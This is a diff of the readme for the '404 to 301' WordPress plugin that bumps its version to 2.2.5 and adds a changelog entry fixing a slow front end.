@@ -128,6 +128,11 @@ Bug reports for 404 to 301 are always welcome. [Report here](https://thefoxe.com
128
 
129
  == Changelog ==
130
 
 
 
 
 
 
131
  = 2.2.4 (02/06/2016) =
132
  **Bug Fixes**
133
 
@@ -298,8 +303,7 @@ Bug reports for 404 to 301 are always welcome. [Report here](https://thefoxe.com
298
 
299
  == Upgrade Notice ==
300
 
301
- = 2.2.4 (02/06/2016) =
302
  **Bug Fixes**
303
 
304
- - Fixed custom redirect issue.
305
- - Fixed issues when activating.
4
  Donate link: https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=XUVWY8HUBUXY4
5
  Requires at least: 3.5
6
  Tested up to: 4.5.2
7
+ Stable tag: 2.2.5
8
  License: GPLv2 or later
9
  License URI: http://www.gnu.org/licenses/gpl-2.0.html
10
 
128
 
129
  == Changelog ==
130
 
131
+ = 2.2.5 (05/06/2016) =
132
+ **Bug Fixes**
133
+
134
+ - Fixed issue - Front end was slow.
135
+
136
  = 2.2.4 (02/06/2016) =
137
  **Bug Fixes**
138
 
303
 
304
  == Upgrade Notice ==
305
 
306
+ = 2.2.5 (05/06/2016) =
307
  **Bug Fixes**
308
 
309
+ - Fixed issue - Front end was slow.